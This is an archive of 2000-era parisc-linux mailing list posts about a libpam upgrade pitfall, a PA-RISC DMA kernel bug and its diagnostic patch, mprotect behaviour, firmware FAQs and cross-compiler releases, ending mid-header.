To: parisc-linux@thepuffingroup.com
Original-X-From: bri@mojo.calyx.net  Fri Nov 17 08:47:21 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id IAA20960
	for <parisc-linux@puffin.external.hp.com>; Fri, 17 Nov 2000 08:47:20 -0700
Original-Received: (qmail 23247 invoked by uid 15267); 17 Nov 2000 15:49:28 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 23237 invoked from network); 17 Nov 2000 15:49:28 -0000
Original-Received: from mail.calyx.net (qmailr@208.132.136.19)
  by mailserv2.iuinc.com with SMTP; 17 Nov 2000 15:49:28 -0000
Original-Received: (qmail 5554 invoked from network); 17 Nov 2000 10:49:23 -0500
Original-Received: from mojo.calyx.net (HELO mojo) (o5arvsm8mc7ifv0wcbt4@208.132.136.2)
  by mail.calyx.net with SMTP; 17 Nov 2000 10:49:23 -0500
In-Reply-To: <20001117022526.4B38637CA7@carmen.fc.hp.com>
Xref: news.gmane.org gmane.linux.ports.parisc:8495


JFYI to save other people some time.  Before firing up 
"apt-get upgrade" you'll be best off putting a hold on all the 
libpam packages, as the 0.72-12 version on ftp.us.debian.org 
fails on a bad symbol in libpam-misc, which locks you out 
of the box except if you boot single.

--
Brian S. Julin



From - Thu Nov 08 21:14:11 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Booting 712 with CD 0.5
Date: Fri, 17 Nov 2000 08:38:24 -0800
Lines: 18
Approved: news@gmane.org
Message-ID: <200011171638.IAA16079@milano.cup.hp.com>
References: <C12531D038D1D011B1DB0000F8036C28071AB722@eosm5.oecd.org>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619305 6411 80.91.229.3 (22 Nov 2014 01:21:45 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:21:45 +0000 (UTC)
Cc: parisc-linux@puffin.external.hp.com
To: Arnaud.ATOCH@oecd.org
Original-X-From: grundler@cup.hp.com  Fri Nov 17 09:37:30 2000
Original-Received: from palrel3.hp.com (palrel3.hp.com [156.153.255.226])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id JAA21869
	for <parisc-linux@puffin.external.hp.com>; Fri, 17 Nov 2000 09:37:29 -0700
Original-Received: from milano.cup.hp.com (milano.cup.hp.com [15.8.80.76])
	by palrel3.hp.com (Postfix) with ESMTP id 27DA65A5
	for <parisc-linux@puffin.external.hp.com>; Fri, 17 Nov 2000 08:39:37 -0800 (PST)
Original-Received: from localhost (grundler@localhost [127.0.0.1])
	by milano.cup.hp.com (8.9.3 (PHNE_18546)/8.9.3 SMKit7.02) with SMTP id IAA16079;
	Fri, 17 Nov 2000 08:38:26 -0800 (PST)
X-Authentication-Warning: milano.cup.hp.com: grundler@localhost [127.0.0.1] didn't use HELO protocol
In-reply-to: Your message of "Fri, 17 Nov 2000 16:30:42 PST."
             <C12531D038D1D011B1DB0000F8036C28071AB722@eosm5.oecd.org> 
Xref: news.gmane.org gmane.linux.ports.parisc:8497

Arnaud.ATOCH@oecd.org wrote:
> Is the following output the normal behavior of Linux-PARisc on a 712/100 ?
> 
> kmem_create: Forcing size word alignment - nfs_fh
> kernel BUG at pci-dma.c:391!
> kernel BUG at pci-dma.c:400!

The bug is real. A driver is calling pci_map_single() and pci_unmap_single()
without specifying which direction the DMA is going. Cache flushing on 712
(PCXL) systems needs to know. I'll assume it's the SCSI driver since
it looks like we are talking to a SCSI CD-ROM.

grant

Grant Grundler
Unix Systems Enablement Lab
+1.408.447.7253


From - Thu Nov 08 21:14:11 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ulrich Drepper <drepper@redhat.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] SEGV signal handling bug (dynamic linking)
Date: 17 Nov 2000 09:09:10 -0800
Lines: 20
Approved: news@gmane.org
Message-ID: <m3hf5634qx.fsf@otr.mynet.cygnus.com>
References: <20001117153954.H32715@linuxcare.com>
Reply-To: drepper@cygnus.com (Ulrich Drepper)
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619306 6412 80.91.229.3 (22 Nov 2014 01:21:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:21:46 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Richard Hirst <rhirst@linuxcare.com>
Original-X-From: drepper@redhat.com  Fri Nov 17 10:06:53 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id KAA22390
	for <parisc-linux@puffin.external.hp.com>; Fri, 17 Nov 2000 10:06:53 -0700
Original-Received: (qmail 20661 invoked by uid 15267); 17 Nov 2000 17:09:00 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 20648 invoked from network); 17 Nov 2000 17:09:00 -0000
Original-Received: from runyon.cygnus.com (HELO cygnus.com) (205.180.230.5)
  by mailserv2.iuinc.com with SMTP; 17 Nov 2000 17:09:00 -0000
Original-Received: from otr.mynet (dialin-sv-02.cygnus.com [205.180.231.52])
	by runyon.cygnus.com (8.8.7-cygnus/8.8.7) with ESMTP id JAA29126;
	Fri, 17 Nov 2000 09:08:57 -0800 (PST)
Original-Received: by otr.mynet (Postfix, from userid 500)
	id 717C530B7; Fri, 17 Nov 2000 09:09:10 -0800 (PST)
Original-Sender: drepper@cygnus.com
X-fingerprint: BE 3B 21 04 BC 77 AC F0  61 92 E4 CB AC DD B9 5A
In-Reply-To: Richard Hirst's message of "Fri, 17 Nov 2000 15:39:55 +0000"
Original-Lines: 19
User-Agent: Gnus/5.0807 (Gnus v5.8.7) XEmacs/21.1 (Capitol Reef)
Xref: news.gmane.org gmane.linux.ports.parisc:8498

Richard Hirst <rhirst@linuxcare.com> writes:

>         mem = malloc(8192);
>         if (mem == NULL) {
>                 perror("malloc");
>                 exit(1);
>         }
>         mem = (char *)(((int)mem + 4095) & ~0x0fff);
>         res = mprotect(mem, 4096, PROT_READ);

Read the Unix standard:

  The behavior of this function is unspecified if the mapping was not
  established by a call to mmap().

-- 
---------------.                          ,-.   1325 Chesapeake Terrace
Ulrich Drepper  \    ,-------------------'   \  Sunnyvale, CA 94089 USA
Red Hat          `--' drepper at redhat.com   `------------------------


From - Thu Nov 08 21:14:11 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] pci-dma.c BUG(391/400) PATCH
Date: Fri, 17 Nov 2000 09:09:04 -0800 (PST)
Lines: 46
Approved: news@gmane.org
Message-ID: <200011171709.JAA16103@milano.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619306 6414 80.91.229.3 (22 Nov 2014 01:21:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:21:46 +0000 (UTC)
To: parisc-linux@puffin.external.hp.com
Original-X-From: grundler@cup.hp.com  Fri Nov 17 10:08:07 2000
Original-Received: from cosrel2.hp.com (cosrel2.hp.com [156.153.255.162])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id KAA22652
	for <parisc-linux@puffin.external.hp.com>; Fri, 17 Nov 2000 10:08:07 -0700
Original-Received: from milano.cup.hp.com (milano.cup.hp.com [15.8.80.76])
	by cosrel2.hp.com (Postfix) with ESMTP id 1DA5E388
	for <parisc-linux@puffin.external.hp.com>; Fri, 17 Nov 2000 10:09:49 -0700 (MST)
Original-Received: (from grundler@localhost)
	by milano.cup.hp.com (8.9.3 (PHNE_18546)/8.9.3 SMKit7.02) id JAA16103
	for parisc-linux@puffin.external.hp.com; Fri, 17 Nov 2000 09:09:04 -0800 (PST)
Xref: news.gmane.org gmane.linux.ports.parisc:8499

Hi all,

The following patch tries to point a finger at the offender
rather than just call attention to a problem in the service.

I don't have a PCXL/L2 machine setup right now.
Could someone test commit this patch for me?

thanks,
grant

grundler <505>cvs diff arch/parisc/kernel/pci-dma.c 
Index: arch/parisc/kernel/pci-dma.c
===================================================================
RCS file: /home/cvs/parisc/linux/arch/parisc/kernel/pci-dma.c,v
retrieving revision 1.16
diff -u -p -r1.16 pci-dma.c
--- pci-dma.c   2000/11/08 06:20:27     1.16
+++ pci-dma.c   2000/11/17 17:04:22
@@ -387,8 +387,10 @@ static void pa11_dma_free_consistent (st
 
 static dma_addr_t pa11_dma_map_single(struct pci_dev *dev, void *addr, size_t size, int direction)
 {
-       if (direction == PCI_DMA_NONE)
-           BUG();
+       if (direction == PCI_DMA_NONE) {
+               printk(KERN_ERR "pa11_dma_map_single(PCI_DMA_NONE) called by %p\n", __builtin_return_address(0));
+               BUG();
+       }
 
        flush_kernel_dcache_range((unsigned long) addr, size);
        return virt_to_phys(addr);
@@ -396,8 +398,10 @@ static dma_addr_t pa11_dma_map_single(st
 
 static void pa11_dma_unmap_single(struct pci_dev *dev, dma_addr_t dma_handle, size_t size, int direction)
 {
-       if (direction == PCI_DMA_NONE)
-           BUG();
+       if (direction == PCI_DMA_NONE) {
+               printk(KERN_ERR "pa11_dma_unmap_single(PCI_DMA_NONE) called by %p\n", __builtin_return_address(0));
+               BUG();
+       }
 
        if (direction == PCI_DMA_TODEVICE)
            return;


From - Thu Nov 08 21:14:11 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Arnaud.ATOCH@oecd.org
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] Booting 712 with CD 0.5
Date: Fri, 17 Nov 2000 18:10:52 +0100
Lines: 52
Approved: news@gmane.org
Message-ID: <C12531D038D1D011B1DB0000F8036C28071AB723@eosm5.oecd.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
X-Trace: ger.gmane.org 1416619306 6418 80.91.229.3 (22 Nov 2014 01:21:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:21:46 +0000 (UTC)
Cc: parisc-linux@puffin.external.hp.com
To: grundler@cup.hp.com, Arnaud.ATOCH@oecd.org
Original-X-From: Arnaud.ATOCH@oecd.org  Fri Nov 17 10:09:41 2000
Original-Received: from cs1-hq.oecd.org (cs1-hq.oecd.org [193.51.65.66])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id KAA22962
	for <parisc-linux@puffin.external.hp.com>; Fri, 17 Nov 2000 10:09:09 -0700
Original-Received: from netsweep1.oecd.org (netsweep1.oecd.org [10.102.5.110])
	by cs1-hq.oecd.org (8.9.3/8.9.3/oecd-1.6) with ESMTP id SAA18139
	for <parisc-linux@puffin.external.hp.com>; Fri, 17 Nov 2000 18:08:27 +0100
Original-Received: from eosgty.oecd.org (unverified) by netsweep1.oecd.org
 (Content Technologies SMTPRS 4.1.5) with ESMTP id <T0a66056e4ff036ce7f@netsweep1.oecd.org>;
 Fri, 17 Nov 2000 18:09:00 +0100
Original-Received: by eosgty.oecd.org with Internet Mail Service (5.5.2448.0)
	id <V8RXHN9H>; Fri, 17 Nov 2000 18:10:49 +0100
X-Mailer: Internet Mail Service (5.5.2448.0)
Xref: news.gmane.org gmane.linux.ports.parisc:8500

Thanks for the enlightment.

Should I try a new CD-ROM or should I wait untill next ISO image is created
?
IS the shutdown also due to this bug ?

Setting up /tmp ramdisk4096+0 records in
4096+0 records out
mke2fs 1.19, 13-Jul-2000 for EXT2 FS 0.5b, 95/08/09
Filesystem label=
OS type: Linux
Block size=1024 (log=0)
Fragment size=1024 (log=0)
1024 inodes, 4096 blocks
0 blocks (0.00%) reserved for the super user
First data block=1
1 block group
8192 blocks per group, 8192 fragments per group
1024 inodes per group

Writing inode tables: done
Writing superblocks and filesystem accounting information: done

INIT: Id "T0" respawni
INIT: no more processe

-----Original Message-----
From: Grant Grundler [mailto:grundler@cup.hp.com]
Sent: Friday, November 17, 2000 17:38
To: Arnaud.ATOCH@oecd.org
Cc: parisc-linux@puffin.external.hp.com
Subject: Re: [parisc-linux] Booting 712 with CD 0.5 


Arnaud.ATOCH@oecd.org wrote:
> Is the following output the normal behavior of Linux-PARisc on a 712/100 ?
> 
> kmem_create: Forcing size word alignment - nfs_fh
> kernel BUG at pci-dma.c:391!
> kernel BUG at pci-dma.c:400!

The bug is real. A driver is calling pci_map_single() and pci_unmap_single()
without specifying which direction the DMA is going. Cache flushing on 712
(PCXL) systems needs to know. I'll assume it's the SCSI driver since
it looks like we are talking to a SCSI CD-ROM.

grant

Grant Grundler
Unix Systems Enablement Lab
+1.408.447.7253


From - Thu Nov 08 21:14:12 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] SEGV signal handling bug (dynamic linking)
Date: Fri, 17 Nov 2000 17:38:18 +0000
Lines: 22
Approved: news@gmane.org
Message-ID: <20001117173818.I32715@linuxcare.com>
References: <20001117153954.H32715@linuxcare.com> <m3hf5634qx.fsf@otr.mynet.cygnus.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619307 6421 80.91.229.3 (22 Nov 2014 01:21:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:21:47 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Ulrich Drepper <drepper@cygnus.com>
Original-X-From: rhirst@linuxcare.com  Fri Nov 17 10:38:47 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id KAA23440
	for <parisc-linux@puffin.external.hp.com>; Fri, 17 Nov 2000 10:38:46 -0700
Original-Received: (qmail 4568 invoked by uid 15267); 17 Nov 2000 17:40:54 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 4554 invoked from network); 17 Nov 2000 17:40:53 -0000
Original-Received: from sleepie.demon.co.uk (HELO rhirst.linuxcare.com) (194.222.23.208)
  by mailserv2.iuinc.com with SMTP; 17 Nov 2000 17:40:53 -0000
Original-Received: by rhirst.linuxcare.com (Postfix, from userid 501)
	id 78181B007; Fri, 17 Nov 2000 17:38:18 +0000 (GMT)
X-Mailer: Mutt 1.0us
In-Reply-To: <m3hf5634qx.fsf@otr.mynet.cygnus.com>; from drepper@redhat.com on Fri, Nov 17, 2000 at 09:09:10AM -0800
Xref: news.gmane.org gmane.linux.ports.parisc:8501

On Fri, Nov 17, 2000 at 09:09:10AM -0800, Ulrich Drepper wrote:
> Richard Hirst <rhirst@linuxcare.com> writes:
> 
> >         mem = malloc(8192);
> >         if (mem == NULL) {
> >                 perror("malloc");
> >                 exit(1);
> >         }
> >         mem = (char *)(((int)mem + 4095) & ~0x0fff);
> >         res = mprotect(mem, 4096, PROT_READ);
> 
> Read the Unix standard:
> 
>   The behavior of this function is unspecified if the mapping was not
>   established by a call to mmap().

Yeh, but it works on m68k and i386, and works on hppa if statically
linked.  And the code is in an example on the mprotect man page on
my Mandrake7 box.

Richard


From - Thu Nov 08 21:14:12 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ulrich Drepper <drepper@redhat.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] SEGV signal handling bug (dynamic linking)
Date: 17 Nov 2000 10:06:21 -0800
Lines: 14
Approved: news@gmane.org
Message-ID: <m3y9yi1nj6.fsf@otr.mynet.cygnus.com>
References: <20001117153954.H32715@linuxcare.com>
	<m3hf5634qx.fsf@otr.mynet.cygnus.com>
	<20001117173818.I32715@linuxcare.com>
Reply-To: drepper@cygnus.com (Ulrich Drepper)
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619307 6422 80.91.229.3 (22 Nov 2014 01:21:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:21:47 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Richard Hirst <rhirst@linuxcare.com>
Original-X-From: drepper@redhat.com  Fri Nov 17 11:04:09 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id LAA23948
	for <parisc-linux@puffin.external.hp.com>; Fri, 17 Nov 2000 11:04:08 -0700
Original-Received: (qmail 13154 invoked by uid 15267); 17 Nov 2000 18:06:11 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 13145 invoked from network); 17 Nov 2000 18:06:10 -0000
Original-Received: from runyon.cygnus.com (HELO cygnus.com) (205.180.230.5)
  by mailserv2.iuinc.com with SMTP; 17 Nov 2000 18:06:10 -0000
Original-Received: from otr.mynet (dialin-sv-02.cygnus.com [205.180.231.52])
	by runyon.cygnus.com (8.8.7-cygnus/8.8.7) with ESMTP id KAA04720;
	Fri, 17 Nov 2000 10:06:08 -0800 (PST)
Original-Received: by otr.mynet (Postfix, from userid 500)
	id BBD2030B7; Fri, 17 Nov 2000 10:06:21 -0800 (PST)
Original-Sender: drepper@cygnus.com
X-fingerprint: BE 3B 21 04 BC 77 AC F0  61 92 E4 CB AC DD B9 5A
In-Reply-To: Richard Hirst's message of "Fri, 17 Nov 2000 17:38:18 +0000"
Original-Lines: 13
User-Agent: Gnus/5.0807 (Gnus v5.8.7) XEmacs/21.1 (Capitol Reef)
Xref: news.gmane.org gmane.linux.ports.parisc:8502

Richard Hirst <rhirst@linuxcare.com> writes:

> Yeh, but it works on m68k and i386, and works on hppa if statically
> linked.  And the code is in an example on the mprotect man page on
> my Mandrake7 box.

Then shoot the guy who wrote the man page.  It's wrong and will never
reliably work.

-- 
---------------.                          ,-.   1325 Chesapeake Terrace
Ulrich Drepper  \    ,-------------------'   \  Sunnyvale, CA 94089 USA
Red Hat          `--' drepper at redhat.com   `------------------------


From - Thu Nov 08 21:14:12 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] SEGV signal handling bug (dynamic linking)
Date: Fri, 17 Nov 2000 20:10:34 +0000
Lines: 20
Approved: news@gmane.org
Message-ID: <20001117201034.J32715@linuxcare.com>
References: <20001117153954.H32715@linuxcare.com> <m3hf5634qx.fsf@otr.mynet.cygnus.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619307 6423 80.91.229.3 (22 Nov 2014 01:21:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:21:47 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Ulrich Drepper <drepper@cygnus.com>
Original-X-From: rhirst@linuxcare.com  Fri Nov 17 13:11:14 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id NAA25030
	for <parisc-linux@puffin.external.hp.com>; Fri, 17 Nov 2000 13:11:14 -0700
Original-Received: (qmail 16762 invoked by uid 15267); 17 Nov 2000 20:13:19 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 16385 invoked from network); 17 Nov 2000 20:13:10 -0000
Original-Received: from sleepie.demon.co.uk (HELO rhirst.linuxcare.com) (194.222.23.208)
  by mailserv2.iuinc.com with SMTP; 17 Nov 2000 20:13:10 -0000
Original-Received: by rhirst.linuxcare.com (Postfix, from userid 501)
	id 6BA46B007; Fri, 17 Nov 2000 20:10:34 +0000 (GMT)
X-Mailer: Mutt 1.0us
In-Reply-To: <m3hf5634qx.fsf@otr.mynet.cygnus.com>; from drepper@redhat.com on Fri, Nov 17, 2000 at 09:09:10AM -0800
Xref: news.gmane.org gmane.linux.ports.parisc:8503

On Fri, Nov 17, 2000 at 09:09:10AM -0800, Ulrich Drepper wrote:
> Richard Hirst <rhirst@linuxcare.com> writes:
> 
> >         mem = malloc(8192);
> >         if (mem == NULL) {
> >                 perror("malloc");
> >                 exit(1);
> >         }
> >         mem = (char *)(((int)mem + 4095) & ~0x0fff);
> >         res = mprotect(mem, 4096, PROT_READ);
> 
> Read the Unix standard:
> 
>   The behavior of this function is unspecified if the mapping was not
>   established by a call to mmap().

Changed my prog to use mmap and get the same problem.

Richard


From - Thu Nov 08 21:14:12 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] PDC firmware revision FAQ update
Date: Fri, 17 Nov 2000 13:50:46 -0800
Lines: 27
Approved: news@gmane.org
Message-ID: <E13wtPC-0004bS-00@hpisp747.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619307 6426 80.91.229.3 (22 Nov 2014 01:21:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:21:47 +0000 (UTC)
To: parisc-linux@puffin.external.hp.com
Original-X-From: grundler@cup.hp.com  Fri Nov 17 14:53:00 2000
Original-Received: from onet2.cup.hp.com (onet2.cup.hp.com [15.255.208.3])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id OAA26132
	for <parisc-linux@puffin.external.hp.com>; Fri, 17 Nov 2000 14:53:00 -0700
Original-Received: from hpisp747.cup.hp.com (hpisp747.cup.hp.com [15.8.81.247])
	by onet2.cup.hp.com (Postfix) with ESMTP id 60D60A3F
	for <parisc-linux@puffin.external.hp.com>; Fri, 17 Nov 2000 13:55:08 -0800 (PST)
Original-Received: from grundler by hpisp747.cup.hp.com with local (Exim 3.12 #1 (Debian))
	id 13wtPC-0004bS-00
	for <parisc-linux@puffin.external.hp.com>; Fri, 17 Nov 2000 13:50:46 -0800
Xref: news.gmane.org gmane.linux.ports.parisc:8504

Hi folks,

The issue of PDC/firmware revs came up locally and sounded like a FAQ.
I added

    "10. How can I check if the PDC (firmware) revision is the latest?"

and what I knew/could find to our FAQ at:

	http://www.parisc-linux.org/faq.html

The new FAQ entry should be visible to the world in the next hour or so.


    **** WARNING ****
    Firmware upgrades can *kill* your machine!
    **** WARNING ****

Don't do it just because. Read the FAQ carefully. Take the
time to figure out why you might need the upgrade and expose
yourself to this risk.

grant

ps. please don't ask me why your favorite machine's PDC isn't listed.
   I don't run the referenced sites.


From - Thu Nov 08 21:14:12 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matt Taggart <taggart@carmen.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] New cross compiler
Date: Fri, 17 Nov 2000 18:26:19 -0700
Lines: 16
Approved: news@gmane.org
Message-ID: <20001118012619.B02B337CA7@carmen.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619308 6428 80.91.229.3 (22 Nov 2014 01:21:48 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:21:48 +0000 (UTC)
To: parisc-linux@puffin.external.hp.com
Original-X-From: taggart@carmen.fc.hp.com  Fri Nov 17 18:22:19 2000
Original-Received: from palrel1.hp.com (palrel1.hp.com [156.153.255.242])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id SAA27812
	for <parisc-linux@puffin.external.hp.com>; Fri, 17 Nov 2000 18:22:19 -0700
Original-Received: from carmen.fc.hp.com (carmen.fc.hp.com [15.1.51.72])
	by palrel1.hp.com (Postfix) with ESMTP id 93BE1ADE
	for <parisc-linux@puffin.external.hp.com>; Fri, 17 Nov 2000 17:24:27 -0800 (PST)
Original-Received: from carmen.fc.hp.com (localhost [127.0.0.1])
	by carmen.fc.hp.com (Postfix) with ESMTP id B02B337CA7
	for <parisc-linux@puffin.external.hp.com>; Fri, 17 Nov 2000 18:26:19 -0700 (MST)
X-Mailer: exmh version 2.2 06/23/2000 (debian 2.2-1) with nmh-1.0.4+dev
Xref: news.gmane.org gmane.linux.ports.parisc:8505

I have posted new i386/linux -> hppa/linux cross tools at,

ftp://puffin.external.hp.com/pub/parisc/binaries/LinuxX86/xc-20001117.tar.gz

it includes 32bit and 64bit cross-compilers and a static 32bit glibc 2.2. I 
have also updated the include tarball,

ftp://puffin.external.hp.com/pub/parisc/src/include-20001117.tar.gz

it includes glibc 2.2 headers and the latest kernel headers.

-- 
Matt Taggart
taggart@fc.hp.com



From - Thu Nov 08 21:14:12 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Sandy Harris <sandy@storm.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Host for 712/60 compiles
Date: Fri, 17 Nov 2000 22:54:58 -0500
Lines: 16
Approved: news@gmane.org
Message-ID: <3A15FD92.DEB522FE@storm.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619308 6431 80.91.229.3 (22 Nov 2014 01:21:48 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:21:48 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: sandy@storm.ca  Fri Nov 17 20:54:35 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id UAA28820
	for <parisc-linux@puffin.external.hp.com>; Fri, 17 Nov 2000 20:54:34 -0700
Original-Received: (qmail 18508 invoked by uid 15267); 18 Nov 2000 03:56:43 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 18499 invoked from network); 18 Nov 2000 03:56:43 -0000
Original-Received: from storm.ca (HELO mail.storm.ca) (209.87.239.69)
  by mailserv2.iuinc.com with SMTP; 18 Nov 2000 03:56:43 -0000
Original-Received: from storm.ca (ppp002.ottawa.storm.ca [209.87.255.2])
	by mail.storm.ca (8.9.3+Sun/8.9.3) with ESMTP id WAA17326
	for <parisc-linux@thepuffingroup.com>; Fri, 17 Nov 2000 22:56:11 -0500 (EST)
X-Mailer: Mozilla 4.76 [en] (Win98; U)
X-Accept-Language: en,fr
Xref: news.gmane.org gmane.linux.ports.parisc:8506

A couple of us have 16 diskless 712/60s which we want to use for distributed
processing on easily parallelized tasks like factoring and perhaps crypto
cracking. A few questions arise.

Is PARISC Linux far enough along to be useful for that? We need no monitor or
console (except perhaps for initial debugging), no devices except ethernet,
and expect to run only one process per machine, but we need stability.

We'll need a host for cross-compiling. We have a 256 meg 715/100 with HP/UX
which we expect to use as the host for booting, handing out chunks of work,
storing results, etc. Should we compile there under HP/UX or would we get
better tools on one of our Intel Linux boxes?

Or is PARISC Linux far enough along we should put it on the 715 and get
native compilation?


From - Thu Nov 08 21:14:12 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alex deVries <adevries@redhat.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] binutils and targetting.
Date: Thu, 22 Apr 1999 00:59:36 -0400 (EDT)
Lines: 17
Approved: news@gmane.org
Message-ID: <Pine.LNX.3.96.990422005352.5593k-100000@devserv.devel.redhat.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619308 6433 80.91.229.3 (22 Nov 2014 01:21:48 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:21:48 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: adevries@redhat.com  Thu Apr 22 00:59:56 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by sod.res.cmu.edu (8.8.7/8.8.7) with SMTP id AAA13196
